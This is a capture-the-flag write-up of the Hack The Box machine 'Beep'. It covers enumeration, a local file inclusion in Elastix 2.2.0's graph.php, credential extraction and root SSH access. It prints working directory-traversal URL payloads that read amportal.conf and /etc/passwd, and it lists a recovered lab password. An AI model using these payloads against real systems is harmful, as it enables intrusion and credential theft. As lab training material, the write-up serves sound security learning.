HTB: Beep

Linux box running Elastix VoIP system vulnerable to LFI. Extracted credentials from configuration files and gained root via SSH with deprecated cryptographic algorithms.

Initial Enumeration

Port Scan

sudo nmap -sS -sV -T5 TARGET_IP

Key Findings:

• Port 22: OpenSSH 4.3 (protocol 2.0)
• Port 443: Apache httpd 2.2.3 (CentOS) running Elastix
• Port 10000: MiniServ 1.570 (Webmin)
• Port 3306: MySQL (unauthorised)
• Hostname: beep.localdomain

---

Web Enumeration

TLS Compatibility Fix

Firefox initially refused connection to port 443 due to TLS version incompatibility.

Fix: Navigate to about:config and set security.tls.version.min to 1

Directory Enumeration

gobuster dir -u https://beep.localdomain:443/ -w /path/to/raft-medium-directories.txt

Discovered:

• /vtigercrm/ - Vtiger CRM installation
• /admin/ - Admin panel
• /configs/ - Configuration directory

Target identified as running Elastix - a VoIP unified communications system.

---

Exploit Research

searchsploit elastix

Identified: Elastix 2.2.0 ‘graph.php’ Local File Inclusion vulnerability

Understanding the Architecture

• Elastix: Complete phone system distribution for businesses
• FreePBX: Web dashboard/GUI for managing the phone system
• amportal.conf: Configuration file storing FreePBX system credentials

Elastix bundles FreePBX to provide easier management than manual configuration file editing.

---

LFI Exploitation

Extracting Configuration File

https://beep.localdomain/vtigercrm/graph.php?current_language=../../../../../../../../etc/amportal.conf%00&module=Accounts&action

Extracting User List

https://beep.localdomain/vtigercrm/graph.php?current_language=../../../../../../../../etc/passwd%00&module=Accounts&action

Saved output and filtered for user accounts:

cat etc.passwd | grep /home

Credentials Obtained:

• Username: admin
• Username: fanis
• Password: jEhdIekWmdjE

---

SSH Access Challenge

Initial Connection Attempt

ssh root@10.10.10.7

Error: Unable to negotiate key exchange method

Root Cause:

1. SSH client connects to port 22
2. Server offers deprecated diffie-hellman algorithms
3. Modern SSH clients don’t support these algorithms (disabled in OpenSSH 7.0 ~2015-2016)
4. Connection fails during cryptographic handshake before authentication
5. Algorithms deprecated due to Logjam attack vulnerability

---

SSH Configuration for Legacy Systems

Created SSH config to support deprecated algorithms:

nano ~/.ssh/config

Added:

Host 10.10.10.7
    KexAlgorithms +diffie-hellman-group1-sha1
    HostKeyAlgorithms +ssh-rsa
    PubkeyAcceptedKeyTypes +ssh-rsa

---

Root Access

Successfully authenticated as root:

ssh root@10.10.10.7

Password: REDACTED

Flags

cat /home/fanis/user.txt
cat /root/root.txt

User and root flags obtained.

---

Notable Commands

Command	Description
searchsploit elastix	Search for Elastix vulnerabilities
cat etc.passwd \| grep /home	Filter user accounts from passwd file
nano ~/.ssh/config	Configure SSH client options
KexAlgorithms +diffie-hellman-group1-sha1	Enable deprecated SSH key exchange

---

Key Takeaways

• LFI vulnerabilities can expose sensitive configuration files containing credentials
• Configuration files like amportal.conf often contain plaintext passwords
• Legacy systems may require SSH client configuration for deprecated algorithms
• Credential reuse across services (web → SSH) is common in older systems
• Always check /etc/passwd via LFI to enumerate valid user accounts

---

Box: Beep

Difficulty: Easy

Vulnerability: LFI (Elastix 2.2.0)

Root Method: Credential extraction + SSH access